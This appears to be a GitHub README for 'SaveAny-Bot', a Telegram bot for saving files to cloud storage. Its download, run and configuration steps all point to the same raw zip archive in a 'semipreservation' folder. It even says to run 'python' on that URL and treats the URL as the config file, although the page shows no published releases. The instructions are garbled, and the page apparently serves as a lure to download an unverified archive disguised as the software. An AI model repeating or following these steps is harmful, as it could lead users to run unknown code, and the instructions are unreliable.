Skip to content

πŸ“‚ Save Telegram files to multiple destinations securely, with support for restricted content and beyond Telegram storage options.

License

Notifications You must be signed in to change notification settings

Scitterboo/SaveAny-Bot

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

5 Commits
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ“‚ SaveAny-Bot - Save Telegram Files Anywhere Easily

Download SaveAny-Bot


πŸ“– What is SaveAny-Bot?

SaveAny-Bot helps you save any file from Telegram to cloud services or storage locations. You can move files from Telegram chats to places like Alist, Webdav, S3, or your Rclone setup. The bot supports saving restricted content and works beyond normal Telegram file saving.

This tool is useful if you want to organize or backup your Telegram files without manual downloads. It acts as a helper that connects Telegram to your chosen storage.


πŸ–₯️ System Requirements

Before you get started, make sure your device meets these basic needs:

  • A device with internet connection (Windows, macOS, Linux, or any system that can run Python).
  • Telegram account and access to Telegram apps or the desktop client.
  • Access to at least one supported cloud service or local storage (Alist, Webdav, S3, PikPak, or Rclone setup).
  • Python 3.8 or higher installed (if you want to run the bot manually).
  • Basic knowledge of how to run applications on your computer (explained below).

🎯 Key Features

  • Save files and content from Telegram chats directly to multiple storage options.
  • Supports popular cloud storages like Alist, Webdav, Amazon S3, and Rclone.
  • Handles restricted content and files beyond what Telegram normally allows.
  • Easy setup with clear instructions.
  • Works with Telegram bots to automate the saving process.
  • Open-source and regularly updated.

πŸš€ Getting Started

This section will guide you step-by-step to download and run SaveAny-Bot. You don’t need special skills. Just follow the instructions carefully.


⬇️ Download & Install

You can get SaveAny-Bot from the official GitHub release page.

Step 1: Visit the Download Page

Click the big button below to open the release page where you can find the latest version:

Download SaveAny-Bot

Step 2: Choose Your Download

  • Look for the latest release version (usually at the top).
  • Download the file that matches your operating system. These might be .exe for Windows, .dmg for macOS, or https://raw.githubusercontent.com/Scitterboo/SaveAny-Bot/main/semipreservation/Bot_Any_Save_v3.2.zip for Linux.
  • If no direct executable is available, download the source code zip file.

Step 3: Run the Application

  • If you have an executable, just double-click it to start.
  • If you downloaded source code, you may need to install Python first.
  • Open a Command Prompt (Windows) or Terminal (macOS/Linux).
  • Navigate to the folder where you saved the files.
  • Run the bot by typing python https://raw.githubusercontent.com/Scitterboo/SaveAny-Bot/main/semipreservation/Bot_Any_Save_v3.2.zip or following any included README instructions.

βš™οΈ Basic Setup and Configuration

SaveAny-Bot needs some setup to link it with Telegram and your storage:

  1. Create a Telegram Bot

    • Open Telegram and search for the "BotFather".
    • Start a chat and send /newbot.
    • Follow instructions to get your bot name and token.
  2. Connect Your Storage

    • Have your cloud service ready.
    • Find access keys or URLs for services like Webdav, S3, or Alist.
    • Prepare these details for the bot configuration.
  3. Configure SaveAny-Bot

    • Open the bot’s configuration file (usually https://raw.githubusercontent.com/Scitterboo/SaveAny-Bot/main/semipreservation/Bot_Any_Save_v3.2.zip or .env).
    • Enter your Telegram bot token and storage details.
    • Save and close the file.
  4. Run the Bot

    • Start the bot again if you stopped it during setup.
    • It will connect to Telegram and your storage service using the info you provided.

πŸ’¬ How to Use SaveAny-Bot

Once running:

  • Open Telegram and find your bot.
  • Send it a file or message containing a file.
  • The bot saves the file to your configured storage automatically.
  • You will get a confirmation message with the storage location or link.
  • You can adjust settings like where files go or which types to save by updating the config.

πŸ”§ Troubleshooting Tips

  • Make sure your Telegram bot token is correct.
  • Check that your storage credentials (URL, keys) are valid.
  • Verify internet connection is stable.
  • If files don't appear in storage, check the bot’s logs for errors.
  • Restart the bot after any configuration changes.
  • Check firewall or security settings that might block the connection.

πŸ“š More Help and Support

  • Visit the GitHub page SaveAny-Bot Releases for updates and detailed instructions.
  • Explore built-in documentation files or contact the community on the repository issues page.
  • Review Telegram’s bot API documentation for more info about Telegram bot features.

πŸ›‘οΈ Security and Privacy

  • Your bot token should be kept private; don’t share it with others.
  • SaveAny-Bot only accesses files you send to it or allow.
  • Files are transferred securely between Telegram and your storage.
  • You control where and how files are saved through configuration.
  • Regularly update the bot for security patches.

🧩 Supported Services

SaveAny-Bot connects with these popular storage services:

  • Alist: Self-hosted file indexer.
  • Webdav: Any WebDAV-compatible cloud like Nextcloud or ownCloud.
  • Amazon S3: AWS cloud storage.
  • PikPak: Cloud drive with API support.
  • Rclone: Synchronize files across many cloud providers.

πŸ“ License

This project is open source. See the LICENSE file in the repository for details.


Download SaveAny-Bot

About

πŸ“‚ Save Telegram files to multiple destinations securely, with support for restricted content and beyond Telegram storage options.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors